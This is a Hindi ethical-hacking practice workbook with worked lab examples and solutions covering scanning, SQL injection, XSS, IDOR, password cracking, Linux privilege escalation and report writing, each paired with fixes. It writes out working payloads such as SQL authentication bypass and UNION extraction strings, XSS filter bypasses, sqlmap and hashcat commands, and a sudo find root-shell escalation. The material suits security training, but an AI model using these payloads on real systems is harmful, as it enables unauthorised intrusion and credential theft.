Practice Workbook
Practice + Solutions • Advanced • हिंदी

Ethical Hacking Practice Workbook

हर टॉपिक पर एक worked example (step-by-step हल) और फिर practice सवाल उनके solution के साथ। सब आपकी अपनी lab के लिए — पहले खुद सोचिए, फिर solution खोलिए।

⚠️ नियम: हर command/payload सिर्फ़ अपनी lab (DVWA, OWASP Juice Shop, Metasploitable, TryHackMe) या लिखित-अनुमति वाले सिस्टम पर। असली/बिना-अनुमति सिस्टम पर कभी नहीं।

नीचे 192.168.56.101 = आपकी lab की target मशीन (Metasploitable/DVWA) का उदाहरण IP। अपनी मशीन का असली IP इस्तेमाल करें।

01 Nmap और Scanning

लक्ष्य: एक target का "नक्शा" बनाना — कौन-सी सेवाएँ, कौन-से version, कहाँ कमज़ोरी।

▶ Worked Example — step by step

काम: अपनी lab मशीन का पूरा scan करके attack surface पहचानना।

# चरण 1: host ज़िंदा है? nmap -sn 192.168.56.0/24 # नेटवर्क में कौन-कौन online # चरण 2: सेवाएँ + version + default scripts nmap -sV -sC -p- 192.168.56.101 -oN full.txt

नमूना output (पढ़ना सीखें):

21/tcp open ftp vsftpd 2.3.4 22/tcp open ssh OpenSSH 4.7p1 80/tcp open http Apache 2.2.8 ((Ubuntu)) 445/tcp open smb Samba 3.0.20 3306/tcp open mysql MySQL 5.0.51a

विश्लेषण (यही असली कौशल है):

  1. vsftpd 2.3.4 — बहुत पुराना; इसका एक मशहूर backdoor इतिहास है → research करने लायक।
  2. Samba 3.0.20 — पुराना SMB → ज्ञात कमज़ोरियाँ संभव।
  3. Apache + MySQL → वेब ऐप मौजूद है (port 80), शायद DB से जुड़ा → वेब टेस्टिंग (SQLi?) का रास्ता।
  4. version बहुत मायने रखता है: सेवा नहीं, सेवा का *version* तय करता है कि कौन-सी कमज़ोरी लागू है।
# चरण 3: ज्ञात कमज़ोरियाँ अपने-आप ढूँढें nmap --script vuln 192.168.56.101
❓ Practice 1.1

आपको एक scan में ये मिला: 80/tcp open http, 443/tcp open https, 8080/tcp open http-proxy, 3306/tcp open mysql। MySQL (3306) का बाहर से खुला होना क्यों एक बड़ा खतरा है, और इसे कैसे ठीक करेंगे?

✅ Solution

Database port (3306) को इंटरनेट पर खुला रखना खतरनाक है क्योंकि हमलावर सीधे DB पर brute-force/known-exploit चला सकता है और पूरा डेटा निशाने पर आ जाता है। ठीक करना: MySQL को सिर्फ़ localhost पर bind करें (bind-address = 127.0.0.1), firewall से 3306 बाहर से block करें, और app↔DB कनेक्शन अंदरूनी नेटवर्क तक सीमित रखें। DB कभी भी सीधे इंटरनेट-facing नहीं होना चाहिए।

❓ Practice 1.2

nmap -sV धीमा लग रहा है और आप सिर्फ़ यह जानना चाहते हैं कि कौन-से पोर्ट खुले हैं (बिना version)। कौन-सा तेज़ तरीका इस्तेमाल करेंगे, और full-port scan कैसे करेंगे?

✅ Solution

सिर्फ़ खुले पोर्ट जल्दी देखने के लिए: nmap -T4 192.168.56.101 (top 1000 ports) या बहुत तेज़ full scan के लिए masscan 192.168.56.101 -p0-65535 --rate=1000। सभी 65535 पोर्ट nmap से: nmap -p- 192.168.56.101। रणनीति: पहले masscan से तेज़ी से खुले पोर्ट ढूँढें, फिर सिर्फ़ उन्हीं पोर्ट पर nmap -sV -sC चलाएँ — समय बचता है।

02 SQL Injection — DVWA पर

लक्ष्य: समझना कि गलत इनपुट कैसे DB को धोखा देता है, और इसे कैसे रोकें। (DVWA "SQL Injection", security=low)

▶ Worked Example — step by step

कमज़ोर कोड (ऐसा कभी मत लिखें):

$id = $_GET['id']; $q = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

यहाँ user का इनपुट सीधे query में जुड़ जाता है — यही खामी है।

चरण 1 — कमज़ोरी पुष्टि करना

input box में 1' डालें। अगर SQL error आए → injection मुमकिन है।

चरण 2 — हमेशा-सच (लॉजिक तोड़ना)

Input: 1' OR '1'='1 # query बन जाती है: ... WHERE user_id = '1' OR '1'='1' → सब rows लौटातीं

चरण 3 — columns की संख्या पता करना (UNION के लिए)

1' ORDER BY 1-- - # काम किया 1' ORDER BY 2-- - # काम किया 1' ORDER BY 3-- - # error → मतलब 2 columns हैं

चरण 4 — UNION से जानकारी निकालना

1' UNION SELECT user, password FROM users-- -

अब पेज पर DB के usernames और password-hashes दिखते हैं। (ये hashes आगे Module 05 में crack करके सीखेंगे — सब अपनी lab में।)

चरण 5 — टूल से (lab के URL पर)

sqlmap -u "http://192.168.56.101/vulnerabilities/sqli/?id=1&Submit=Submit" \ --cookie="PHPSESSID=abc; security=low" --batch --dbs
🛡️ Fix (सबसे ज़रूरी हिस्सा): Parameterized queries / prepared statements इस्तेमाल करें — इनपुट को कभी query में सीधे मत जोड़ें।
$stmt = $pdo->prepare("SELECT first_name,last_name FROM users WHERE user_id = ?"); $stmt->execute([$id]);
साथ में: input validation, least-privilege DB user, और errors यूज़र को न दिखाएँ।
❓ Practice 2.1

एक लॉगिन form की query है: SELECT * FROM users WHERE user='$u' AND pass='$p'। हमलावर username में क्या डालकर बिना password जाने लॉगिन कर सकता है? और इसे कैसे रोकेंगे?

✅ Solution

Username में admin'-- - डालने से query बनती है: ... WHERE user='admin'-- -' AND pass='...' — -- के बाद का हिस्सा comment हो जाता है, password check हट जाता है, और admin लॉगिन हो जाता है। (या ' OR 1=1-- -)। रोकथाम: parameterized query + password को कभी plaintext से मत मिलाएँ — server पर hash (bcrypt) से verify करें, और इनपुट validate करें।

❓ Practice 2.2

DVWA को "security=high" पर करने के बाद वही payload काम नहीं करता। इसका क्या मतलब है, और एक असली pentester यहाँ क्या सीखता है?

✅ Solution

"high" स्तर पर कोड ने input को sanitize/parameterize कर दिया है, इसलिए injection बंद हो गया — यही दिखाता है कि सही coding से कमज़ोरी खत्म होती है। सीख: हमले का मक़सद यह साबित करना है कि असुरक्षित कोड कहाँ टूटता है और सुरक्षित कोड कैसे बचाता है — हमलावर और defender दोनों का नज़रिया एक साथ आता है।

03 Cross-Site Scripting (XSS)

लक्ष्य: समझना कि बिना-filter इनपुट कैसे दूसरे यूज़र के ब्राउज़र में script चला देता है। (DVWA / Juice Shop)

▶ Worked Example

Reflected XSS

एक search box जो इनपुट वापस पेज पर बिना-encode दिखाता है। test payload:

<script>alert(document.domain)</script>

अगर alert box आ जाए → script चल गई → XSS मौजूद। असली हमले में हमलावर इससे cookie/session चुरा सकता है (यही impact समझना ज़रूरी है)।

Stored XSS

guestbook/comment में payload सेव हो जाए तो हर आने वाले यूज़र के ब्राउज़र में चलेगा — ज़्यादा खतरनाक।

🛡️ Fix: Output encoding (HTML context में < > & को escape करें), input validation, और Content-Security-Policy (CSP) header। cookies पर HttpOnly लगाएँ ताकि JS उन्हें पढ़ न सके।
❓ Practice 3.1

एक साइट <script> शब्द को तो block कर देती है पर बाक़ी इनपुट दिखा देती है। बिना <script> tag के XSS कैसे चल सकता है (एक उदाहरण), और सही बचाव क्या है?

✅ Solution

सिर्फ़ <script> ब्लॉक करना काफ़ी नहीं — event-handler या अन्य tag से XSS चल सकता है, जैसे <img src=x onerror=alert(1)> या <svg onload=alert(1)>। सीख: blacklist (कुछ शब्द रोकना) हमेशा नाकाफ़ी है। सही बचाव = context-aware output encoding + CSP, न कि "बुरे शब्द" छाँटना।

04 Broken Access Control / IDOR

लक्ष्य: जाँचना कि क्या आप किसी और के डेटा तक सिर्फ़ ID बदलकर पहुँच सकते हैं। (OWASP #1)

▶ Worked Example

आप लॉगिन करके अपना invoice खोलते हैं:

https://lab.app/invoice?id=1024

अब id=1023 कर दें। अगर किसी और का invoice खुल जाए → यह IDOR है: server यह जाँच ही नहीं रहा कि यह रिकॉर्ड आपका है या नहीं।

Burp Suite से इसे ऑटोमेट करके कई IDs आज़माई जा सकती हैं (अपनी lab पर)।

🛡️ Fix: हर request पर server-side authorization check — "क्या यह record इसी लॉगिन यूज़र का है?"। सिर्फ़ ID छिपाना काफ़ी नहीं; access control server पर लागू करें, UI पर नहीं।
❓ Practice 4.1

एक API है GET /api/users/{id}/profile जो token-से-लॉगिन यूज़र को profile देता है, पर {id} किसी का भी डालने पर डेटा दे देता है। यह कौन-सी OWASP कमज़ोरी है और एक लाइन में fix?

✅ Solution

यह Broken Access Control (IDOR) है — OWASP Top 10 का #1। Fix: server पर जाँचें कि request के token/session वाला यूज़र ही {id} का मालिक है (या उसके पास अधिकार है); वरना 403 Forbidden लौटाएँ।

05 Password Cracking — अपने ही hashes पर

लक्ष्य: समझना कि कमज़ोर पासवर्ड और कमज़ोर hashing कितनी जल्दी टूटते हैं — ताकि मज़बूत बनाना सीखें।

▶ Worked Example

चरण 1 — अभ्यास के लिए खुद एक hash बनाएँ

echo -n "password123" | md5sum # 482c811da5d5b4bc6d497ffa98491e38 - echo "482c811da5d5b4bc6d497ffa98491e38" > myhash.txt

चरण 2 — hash पहचानें

hashid 482c811da5d5b4bc6d497ffa98491e38 # → MD5

चरण 3 — crack (अपने ही hash पर)

john --format=raw-md5 --wordlist=/usr/share/wordlists/rockyou.txt myhash.txt john --show --format=raw-md5 myhash.txt # → password123

सीख: एक आम पासवर्ड + कमज़ोर MD5 = सेकंडों में टूट गया।

🛡️ Fix: पासवर्ड को bcrypt/argon2 जैसे slow + salted algorithm से store करें (MD/SHA नहीं)। यूज़र से लंबे अनोखे पासवर्ड + MFA लें। लॉगिन पर rate-limiting लगाएँ।
❓ Practice 5.1

दो यूज़रों का पासवर्ड एक ही है, फिर भी उनके bcrypt-hash अलग-अलग हैं। ऐसा क्यों, और यह हमलावर के लिए काम कठिन क्यों बनाता है?

✅ Solution

क्योंकि bcrypt हर पासवर्ड में एक अनोखा salt मिलाता है, तो एक ही पासवर्ड के भी hash अलग बनते हैं। इससे हमलावर एक बार में सबको crack नहीं कर सकता (precomputed "rainbow tables" बेकार हो जाती हैं) और हर hash को अलग से तोड़ना पड़ता है — bcrypt का slow होना इसे और महँगा बना देता है।

❓ Practice 5.2

आपके पास NTLM/MD5 hashes की एक फ़ाइल है और GPU वाला सिस्टम। John की जगह कौन-सा टूल और क्यों? एक उदाहरण command (MD5)।

✅ Solution

Hashcat — यह GPU का इस्तेमाल करके बहुत तेज़ है। MD5 उदाहरण: hashcat -m 0 -a 0 myhash.txt /usr/share/wordlists/rockyou.txt (-m 0 = MD5, -m 1000 = NTLM)। बड़े hash-सेट पर Hashcat, John से कई गुना तेज़ निकलता है।

06 Privilege Escalation (अवधारणा + lab)

लक्ष्य: कम-अधिकार वाले यूज़र से root/admin तक पहुँचना — सिर्फ़ अपनी lab मशीन पर।

▶ Worked Example — Linux

चरण 1 — अपने-आप कमज़ोरियाँ ढूँढें

./linpeas.sh | tee peas.txt # गलत सेटिंग्स highlight करता है sudo -l # मैं sudo से क्या चला सकता हूँ? find / -perm -4000 2>/dev/null # SUID binaries

चरण 2 — मान लीजिए sudo -l ने दिखाया: यूज़र बिना password find को root से चला सकता है

GTFOBins (gtfobins.github.io) बताती है कि कौन-सी binary से escalate होता है। find का तरीक़ा:

sudo find . -exec /bin/sh \; -quit # root shell (अपनी lab में) id # uid=0(root)
🛡️ Fix: sudo अधिकार बहुत सोच-समझकर दें (कोई "shell-दे-सकने वाली" binary NOPASSWD न हो), ग़ैर-ज़रूरी SUID हटाएँ, और नियमित audit करें।
❓ Practice 6.1

find / -perm -4000 में /usr/bin/vim.basic SUID-root मिला। यह खतरा क्यों है (संकेत: GTFOBins), और एक लाइन में बचाव?

✅ Solution

SUID-root वाला vim किसी भी यूज़र को vim के अंदर से root-command चलाने देता है (GTFOBins में इसका तरीक़ा दर्ज है), यानी सीधा privilege escalation। बचाव: ऐसी binaries से SUID bit हटाएँ — chmod u-s /usr/bin/vim.basic — editors/इंटरप्रेटर कभी SUID-root नहीं होने चाहिए।

07 पूरा CTF-style Walkthrough (methodology)

एक lab मशीन (जैसे TryHackMe/VulnHub box) पर शुरू से अंत तक सोचने का तरीका।

▶ Worked Example — recon से report तक
  1. Recon/Scan: nmap -sV -sC -p- <IP> → मिला: 22 (SSH), 80 (वेब)।
  2. Web enum: gobuster dir -u http://<IP> -w common.txt → मिला /admin, /backup।
  3. Vuln खोजना: /backup में एक config.php.bak खुला मिला → उसमें DB creds या hint।
  4. Foothold: मिले creds से /admin लॉगिन → वहाँ file-upload कमज़ोरी → lab में एक test-shell अपलोड → वेब-यूज़र के रूप में access।
  5. Privesc: linpeas → sudo -l ने एक binary NOPASSWD दिखाई → GTFOBins तरीक़े से root।
  6. Report: हर कमज़ोरी, उसका सबूत (screenshot), खतरे का स्तर, और fix लिखें (Module 08)।

असली सीख: हैकिंग = जानकारी → कमज़ोरी → रास्ता → और गहरी जानकारी का चक्र। एक दरवाज़ा अगला दरवाज़ा खोलता है।

❓ Practice 7.1

एक box पर सिर्फ़ port 80 खुला है और gobuster कुछ ख़ास नहीं दे रहा। आगे बढ़ने के तीन तरीक़े बताइए।

✅ Solution

(1) vhost/subdomain fuzzing — हो सकता है साइट किसी hostname पर अलग content दे (ffuf -H "Host: FUZZ.box" ...)। (2) पेज का source/robots.txt/comments देखें — अक्सर छिपे रास्ते/hints होते हैं। (3) चल रही app/CMS की पहचान + version करें (whatweb, nikto) और उस version की ज्ञात कमज़ोरी खोजें। साथ में अलग wordlist/extensions (-x php,txt,bak) से दोबारा gobuster।

08 Report लिखना — नमूना

कमज़ोरी ढूँढना आधा काम; उसे पेशेवर ढंग से समझाना पूरा काम। bug bounty/pentest दोनों में यही पैसा दिलाता है।

▶ नमूना Finding

शीर्षक: Login form में SQL Injection (authentication bypass)

गंभीरता: High (Critical)

जगह: POST /login — पैरामीटर username

विवरण: username इनपुट बिना sanitize किए SQL query में जुड़ता है, जिससे admin'-- - डालकर बिना password के admin लॉगिन संभव है।

सबूत (PoC): step-by-step + screenshot (payload और लॉगिन-सफल स्क्रीन)।

असर: पूरा खाता-अधिग्रहण, संभावित डेटा-चोरी।

सुझाव (Fix): parameterized queries, input validation, least-privilege DB user, और generic error messages।

❓ Practice 8.1

एक रिपोर्ट में आप सिर्फ़ "यह कमज़ोर है" लिखते हैं, कोई PoC या fix नहीं। एक अच्छी रिपोर्ट के लिए इसमें तीन क्या चीज़ें जोड़ना ज़रूरी है?

✅ Solution

(1) Reproducible PoC — step-by-step + सबूत (screenshot/request-response), ताकि developer खुद देख सके। (2) Impact — इससे असल में क्या नुकसान हो सकता है (business language में)। (3) Clear remediation — ठीक कैसे करें (ठोस सुझाव/कोड)। इन्हीं से रिपोर्ट भरोसेमंद बनती है और तेज़ी से fix होती है।

आगे का रास्ता: ऊपर के हर topic को अपनी lab में कम-से-कम एक बार खुद करिए, फिर TryHackMe के "OWASP Top 10" और "Nmap" रूम लगाइए। हर अभ्यास का छोटा writeup लिखिए — यही आपका पोर्टफ़ोलियो बनेगा।